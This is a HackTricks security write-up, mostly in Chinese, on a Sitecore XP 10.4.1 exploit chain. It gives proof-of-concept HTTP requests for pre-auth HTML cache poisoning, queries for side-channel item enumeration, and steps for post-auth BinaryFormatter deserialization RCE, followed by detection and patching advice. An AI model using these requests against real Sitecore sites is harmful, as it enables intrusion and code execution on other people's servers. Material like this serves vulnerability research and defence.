Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 9 minutes
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
本页概述了针对 Sitecore XP 10.4.1 的一个实战攻击链,该链从一个 pre‑auth XAML handler 出发,转向 HTML cache poisoning,并通过一个 authenticated UI flow,利用 BinaryFormatter deserialization 达成 RCE。相关技术可推广到类似的 Sitecore 版本/组件,并提供用于测试、检测和加固的具体原语。
- 受影响并测试的产品: Sitecore XP 10.4.1 rev. 011628
- 已修复于: KB1003667, KB1003734 (June/July 2025)
另见:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
入口点是注册在 web.config 中的 pre‑auth XAML handler:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
可通过以下方式访问:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
控件树包含 AjaxScriptManager,在事件请求时,它会读取 attacker‑controlled fields 并通过反射在目标控件上调用方法:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
关键观察:XAML 页面包含一个 XmlControl 实例 (xmlcontrol:GlobalHeader)。Sitecore.XmlControls.XmlControl 继承自 Sitecore.Web.UI.WebControl(一个 Sitecore 类),后者通过 ReflectionUtil.Filter 的允许列表 (Sitecore.*),从而解锁 Sitecore WebControl 上的方法。
用于 poisoning 的 Magic 方法:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
由于我们可以定位 xmlcontrol:GlobalHeader 并按名称调用 Sitecore.Web.UI.WebControl 的方法,因此我们得到一个 pre‑auth 任意 HtmlCache 写入原语。
PoC 请求 (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Notes:
- __SOURCE 是在 Sitecore.Shell.Xaml.WebControl 中 xmlcontrol:GlobalHeader 的 clientID(通常稳定,例如 ctl00_ctl00_ctl05_ctl03,因为它来自静态 XAML)。
- __PARAMETERS 的格式为 Method("arg1","arg2").
What to poison: 缓存键构造
Sitecore 控件 使用的典型 HtmlCache 键构造:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
针对已知 sublayout 的 targeted poisoning 示例:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
枚举可缓存项和 “vary by” 维度
如果 ItemService 被 (mis)exposed 并允许匿名访问,你可以枚举可缓存组件以推导出精确的键。
Quick probe:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
列出可缓存的项目和标志:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
查找像 Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate 这样的字段。设备名称可以通过以下方式枚举:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration under restricted identities (CVE-2025-53694)
即使 ItemService 以受限账户(例如 ServicesAPI)模拟并返回一个空的 Results 数组,TotalCount 仍可能反映 pre‑ACL 的 Solr 命中。你可以对 item groups/ids 使用 brute‑force 和 wildcards,并观察 TotalCount 收敛以映射内部内容和设备:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink 位于 convertToRuntimeHtml (CVE-2025-53691)
漏洞点:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
可通过 convertToRuntimeHtml pipeline 步骤 ConvertWebControls 访问,该步骤会查找 id 为 {iframeId}_inner 的元素,对其进行 base64 解码并反序列化,然后将得到的字符串注入到 HTML 中:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
触发(已认证,Content Editor 权限)。FixHtml 对话框会调用 convertToRuntimeHtml。端到端,无需 UI 点击:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget generation: 使用 ysoserial.net / YSoNet 和 BinaryFormatter 生成一个返回字符串的 base64 payload。该字符串的内容在反序列化副作用执行后由 ConvertWebControls 写入 HTML。
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
完整利用链
- Pre‑auth 攻击者通过 XAML AjaxScriptManager 反射调用 WebControl.AddToCache,将任意 HTML 注入 HtmlCache。
- 被污染的 HTML 提供 JavaScript,促使已认证的 Content Editor 用户进入 FixHtml 流程。
- FixHtml 页面触发 convertToRuntimeHtml → ConvertWebControls,后者通过 BinaryFormatter 反序列化攻击者控制的 base64,导致以 Sitecore 应用池身份的 RCE。
检测
- Pre‑auth XAML:对
/-/xaml/Sitecore.Shell.Xaml.WebControl的请求,带有__ISEVENT=1、可疑的__SOURCE和__PARAMETERS=AddToCache(...)。 - ItemService 探测:对
/sitecore/api/ssc的通配符查询激增,TotalCount很大但Results为空。 - 反序列化尝试:
EditHtml.aspx随后是FixHtml.aspx?hdl=...,以及 HTML 字段中异常大的 base64。
加固
- 应用 Sitecore 补丁 KB1003667 和 KB1003734;对 pre‑auth XAML 处理程序进行隔离/禁用或添加严格校验;监控并对
/-/xaml/实施速率限制。 - 移除/替换 BinaryFormatter;限制对 convertToRuntimeHtml 的访问或对 HTML 编辑流程执行强健的服务器端校验。
- 将
/sitecore/api/ssc限制为 loopback 或经认证的角色访问;避免采用可能导致TotalCount‑based 侧信道 leak 的 impersonation 模式。 - 对 Content Editor 用户强制 MFA/最小权限原则;审查 CSP 以减少 cache poisoning 导致的 JS steering 影响。
References
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks